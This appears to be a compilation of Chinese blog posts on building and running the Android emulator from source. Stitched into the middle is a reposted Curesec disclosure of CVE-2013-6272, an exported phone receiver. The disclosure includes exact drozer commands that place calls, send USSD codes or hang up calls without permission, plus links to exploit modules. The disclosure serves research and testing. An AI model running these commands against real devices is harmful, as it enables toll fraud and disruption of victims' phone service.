make: *** [out/target/common/obj/APPS/android.core.tests.libcore.package.dalvik.no-core-tests-res_intermediates/noproguard.classes-with-local.dex] Error 130

上次make或或者mmm的时候生成一些错误的东西

可以使用:make clean 再重新make

解决:rm out/target/common/obj/APPS/ -r (如果还是有这样的错误,就只能clean了)

四、运行编译好的系统
vi /etc/profile
增加以下三句
最终运行配置,给大家截个图:
只需要这三句就OK
配置完,source /etc/profile 要是出现黑屏,建议重启一下。接下:
运行时只要:emulator
完美运行:
下面是遇到的问题,可以看看:
编译完系统后,用模拟器运行系统,在2.3之前只需要配置:
export ANDROID_PRODUCT_OUT=/home/hudan/android/source/android4.1.1/out/target/product/generic_x86
export PATH=$PATH:/home/hudan/android/source/android4.1.1/out/host/linux-x86/bin
但这样配置就一直出现如下的错误:
emulator: ERROR: You did not specify a virtual device name, and the system
directory could not be found.
If you are an Android SDK user, please use ‘@<name>’ or ‘-avd <name>’
to start a given virtual device (see -help-avd for details).
Otherwise, follow the instructions in -help-disk-images to start the emulator
最后配置export ANDROID_BUILD_TOP=/home/hudan/android/source/android4.1.1
一切就都OK了。
如果是研究android源码的欢迎加群交流:android系统高级交流群:247039470

 

Android 4.3 emulator screen stay black and qemu: could not load initrd ‘ramdisk.img’

在编译Android 4.4.2的源码之后, 生成三个img文件,

开始的几个周还能正常使用命令emulator -system system.img -ramdisk ramdisk.img -data userdata.img启动并使用eclipse调试.

 

突然! 突然! 有一个天! emulator再也不能加载启动三个img文件了!!!

运行以上命令之后, emulator就是一个黑色框框,一直黑色! 一夜都黑色! 天明了, 它还是黑色!

网上搜了如下解决方法, 不再是黑色了. 虽然仍然没有启动起来. 但是总算有点改变了.不再是一成不变的黑色和offlinele了!

--

现在, 终于启动起来了! 方法为, 不使用Android源码Prebuilt里面的emulator启动,而是使用adt(android-sdk-linux)里面的emulator! (我的路径为: ~/android-sdk-linux/tools/emulator), 你懂的adt就是使用eclipse开发android apk的时候使用的sdk.

当前启动的方法和命令为:

export PATH=$PATH:~/android-sdk-linux/tools

确认, which emulator 指向的emulator路径是adt里面的emulator,

然后在android源码的跟路径中执行如下命令:

emulator -kernel ./prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir ./out/target/product/generic/  -system ./out/target/product/generic/system.img -ramdisk ./out/target/product/generic/ramdisk.img -data ./out/target/product/generic/userdata.img

启动起来了~ ! 松口气

嗯! 找到原因了.

 

driver

 

是因为virtualbox没有使用正确的显卡驱动程序! 若要emualtor正常启动, 必须使virtubal box内的ubuntu启动主机3D加速功能.而, 若显卡驱动没有启动/或者启动不正确, 则emulator仍然不能正常启动. 修正显卡驱动, 就好了!

—–

这里是遇到这种问题的正确处理方法:

1. sudo su 

2. source build/envsetup.sh

3. setpaths

4.  export ANDROID_BUILD_TOP=/research/android_src/android/  【即增加一个环境变量ANDROID_BUILD_TOP指向android源代码目录】

5. emulator 

完美执行

 

———————————————–

原文连接: http://blog.csdn.net/ritterliu/article/details/17711241

内容:

After building the 4.3 source code, I try to run the emulator with self-compiled system.img, userdata.img and ramdisk.img, but the emulator’s screen stays black and adb devices shows offline, no output.

Try to use “kernel-qemu-armv7” instead of “kernel-qemu”, solve the balck screen.

But there is still “qemu: could not load initrd ‘ramdisk.img’, after trying several times follow the guide on internet:

1. chmod 777 -R * in ramdisk.img’s path.

2. using full path in -ramdisk

below list my cmd:

/AOSP/out/host/linux-x86/bin/./emulator -kernel /AOSP/prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir /AOSP/out/target/product/generic/ -system system.img -data userdata.img -ramdisk /AOSP/out/target/product/generic/ramdisk.img -skindir skins/ -skin HVGA -partition-size 768

the skins/ folder is copied from SDK path.

CVE-2013-6272 com.android.phone

CVE-2013-6272 com.android.phone

原文连接: http://blog.curesec.com/article/blog/35.html

Introduction

We conducted a deep investigation of android components and created some CVEs and reported bugs to the Android Security Team in late 2013. Today we want to publish one reported and one similar vulnerability.

Credits

Authors: Marco Lux, Pedro Umbelino
Email: security@curesec.com

Affectect Versions:

Version SDK Affected
4.1.1 16 Vulnerable
4.1.2 16 Vulnerable
4.2.2 17 Vulnerable
4.4.2 19 Vulnerable
4.4.4 19 Not Vulnerable

Bug: com.android.phone.PhoneGlobals$NotificationBroadcastReceiver.

Browsing the code, you can get an idea about its purpose:

public static class NotificationBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // TODO: use “if (VDBG)” here. Log.d(LOG_TAG, “Broadcast from Notification: ” + action); if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); context.startActivity(callIntent); } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(smsIntent); } else { Log.w(LOG_TAG, “Received hang-up request from notification,” + ” but there’s no call the system can hang up.”); } }

What’s going on here? There are three actions that this receiver deals with:

1) ACTION_HANG_UP_ONGOING_CALL is a custom action, previously defined in this class to terminate any ongoing calls. This means that, since the receiver has no defined permissions, whatever app sends this action to this receiver can effectively terminate any outgoing call, because this package has permission to do so and the code is executed in this package context.

2) ACTION_CALL_BACK_FROM_NOTIFICATION is also a custom action which leads to this receiver to immediately start a call using the powerful Intent.ACTION_CALL_PRIVILEGED intent. This means that any app can call any number, again without any permissions whatsoever. To notice that USSD codes can also be run, as well as calling emergency numbers and whichever action an user can do with the dial pad (except accessing android secret codes, these don’t seem to run).

3) ACTION_SEND_SMS_FROM_NOTIFICATION opens an SMS box to send to a chosen number. User interaction is required, so it is the least interesting.

Interesting programmers comment on the class:

/** * Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus * sent from framework’s notification mechanism (which is outside Phone context). * This should be visible from outside, but shouldn’t be in “exported” state. * * TODO: If possible merge this into PhoneAppBroadcastReceiver. */ public static class NotificationBroadcastReceiver extends BroadcastReceiver {

He explicitly says this “shouldn’t be in ‘exported’ state” what it actually is. This allows us to exploit this issue.

We decided to publish this issue after we had been waiting several months for google to fix it and then went on to check out other code versions.

While in Version 4.1.X – SDK 16 PhoneGlobals.java does not exist, there is a file named PhoneApp.java.

Bug: PhoneApp.java

PhoneApp.java also contains a NotificationBroadcastReceiver class with the exact same code plus the exact same comment: “shouldn’t be in “exported” state.” – right.

So it seems like the bug was introduced in this version and existed ever since.

Another feature that is provided within this component is the ability to run SS and USSD codes (those that would normally require the user to press the SEND button after the code). Android secret codes will not work nor *#06# to see the IMEI, for example.

For SS and USSD codes you always need to press the SEND key after entering them, so they all should work depending on your mobile provider. For manufacture defined MMI this will not work, since the code gets executed immediately with the user pressing send.

Exploitation

For the audience to play, test and execute the vulnerability we provide the following tools:

 

  • Test application “CRT-Kolme” (includes CVE-2013-6272 and CVE-2014-N/A)
  • Exploits to use with drozer
  • Manual drozer testing commandlines

 

CRT-Kolme

You can download “Curesec Research Team – Kolme (Callmeh)” at

http://www.curesec.com/data/CRT-Kolme.apk

Source Code: http://www.curesec.com/data/CRT-Kolme.7z

After installation just click on the Curesec Logo and the testscreen will appear:

 

thumbnail

 

Choose the SDK you want to test. If your phone is vulnerable, it will call the number 31337:

 

thumbnail

 

Drozer Exploits

In this section we provide a description to exploit the CVE-2013-6272 issue provided exploits for drozer.

 

thumbnail

 

 

#download drozer here https://www.mwrinfosecurity.com/products/drozer/ #unpack exploits to drozer modules directory tar xjf dz_exploits.tar.bz2 -C drozer/modules # forward tcp and connect to drozer adb forward tcp:31415 tcp:31415 drozer console connect #this conducts a phone call to the specified number dz> run curesec.exploit.callme1 -t #send code to the device for instance dz> run curesec.exploit.callme1 -c #hangup a phone call, if there are several calls going on, one kill per call dz> run curesec.exploit.callme1 -k kill

 

 

thumbnail

 

Drozer Commandline Foo

Hangup an ongoing call or conduct a phone call:

 

#this terminates any outgoing call! run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_HANG_UP_ONGOING_CALL #THIS ALLOWS YOU TO CALL ANY NUMBER! run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION –data-uri tel:555444111

In order to make the codes work, you can use the following command:

run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION –data-uri tel:*%2343%23

 

The usual # symbol for the MMI codes has to be replaced by %23 to work properly.

FAQ

1. Why is this a bug?

Android normally has to grant permission so that your applications can conduct actions. If your installed application does not own the right to do a phone call, the Android OS should throw a permission denied.

However this bug is circumventing the situation and allows any malicous app to do a phone call, send mmi or ussd codes or hangup an ongoing call.

2. Is there an app to test this issue on my phone?

You can use the APK we published. You will find details in the next sections.

3. How would an attacker abuse this?

This bug can be abused by a malicious application. Take a simple game which is coming with this code. The game wont ask you for extra permissions to do a phone call to a toll number – but it is able to do it.

This is normally not possible without giving the app this special permission. But not only might it be disturbing or expensive for someone to call a toll number or getting ongoing calls hung up. It is also possible to send USSD codes.

The list of USSD/SS/MMI codes is long and there are several quite powerful ones like changing the flow of phone calls(forwarding), blocking your simcard, enable or disable caller anonymisation and so on.

Please note that Curesec GmbH is not responsible for any damage your device might suffer while you try to execute such codes.

4. Are tools which revoke permissions from apps blocking this attack?

No. As the app does not have the permission but is abusing a bug, such apps cannot easily protect you from this without the knowledge that this bug exists in another class on the system.

5. How can I contact you?

security@curesec.com

Downloads:

 CRT-Kolme.apk (test application)
 CRT-Kolme.7z (source code)
 dz_exploit (exploit archive cve-2013-6272 and cve-2014-n/a)

如何单独编译Android源代码中的模块

第一次下载好Android源代码工程后,我们通常是在Android源代码工程目录下执行make命令,经过漫长的等待之后,就可以得到Android系统镜像system.img了。以后如果我们修改了Android源代码中的某个模块或者在Android源代码工程新增一个自己的模块,是不是还是执行make命令呢?答案是否定的,Google为我们准备了另外的命令来支持编译单独的模块,以及重新打包system.img的命令。在继续学习Android源代码之前,就让我们先来看看这个命令吧。

一. 首先在Android源代码目录下的build目录下,有个脚本文件envsetup.sh,执行这个脚本文件后,就可以获得一些有用的工具:

USER-NAME@MACHINE-NAME:~/Android$ .  ./build/envsetup.sh

      注意,这是一个source命令,执行之后,就会有一些额外的命令可以使用:

      – croot: Changes directory to the top of the tree.

      – m: Makes from the top of the tree.
      – mm: Builds all of the modules in the current directory.
      – mmm: Builds all of the modules in the supplied directories.
      – cgrep: Greps on all local C/C++ files.
      – jgrep: Greps on all local Java files.
      – resgrep: Greps on all local res/*.xml files.
      – godir: Go to the directory containing a file.
      这些命令的具体用法,可以在命令的后面加-help来查看,这里我们只关注mmm命令,也就是可以用它来编译指定目录的所有模块,通常这个目录只包含一个模块。
      二. 使用mmm命令来编译指定的模块,例如Email应用程序:
      USER-NAME@MACHINE-NAME:~/Android$ mmm packages/apps/Email/
      编译完成之后,就可以在out/target/product/generic/system/app目录下看到Email.apk文件了。Android系统自带的App都放在这具目录下。另外,Android系统的一些可执行文件,例如C编译的可执行文件,放在out/target/product/generic/system/bin目录下,动态链接库文件放在out/target/product/generic/system/lib目录下,out/target/product/generic/system/lib/hw目录存放的是硬件抽象层(HAL)接口文件,后面的文章里面,我们会陆续提及到,敬请关注。
      三. 编译好模块后,还要重新打包一下system.img文件,这样我们把system.img运行在模拟器上时,就可以看到我们的程序了。
      USER-NAME@MACHINE-NAME:~/Android$ make snod
      四. 参照Ubuntu上下载、编译和安装Android最新源代码一文介绍的方法运行模拟器:
      USER-NAME@MACHINE-NAME:~/Android$ emulator
      这样一切就搞定了。
老罗的新浪微博:http://weibo.com/shengyangluo,欢迎关注!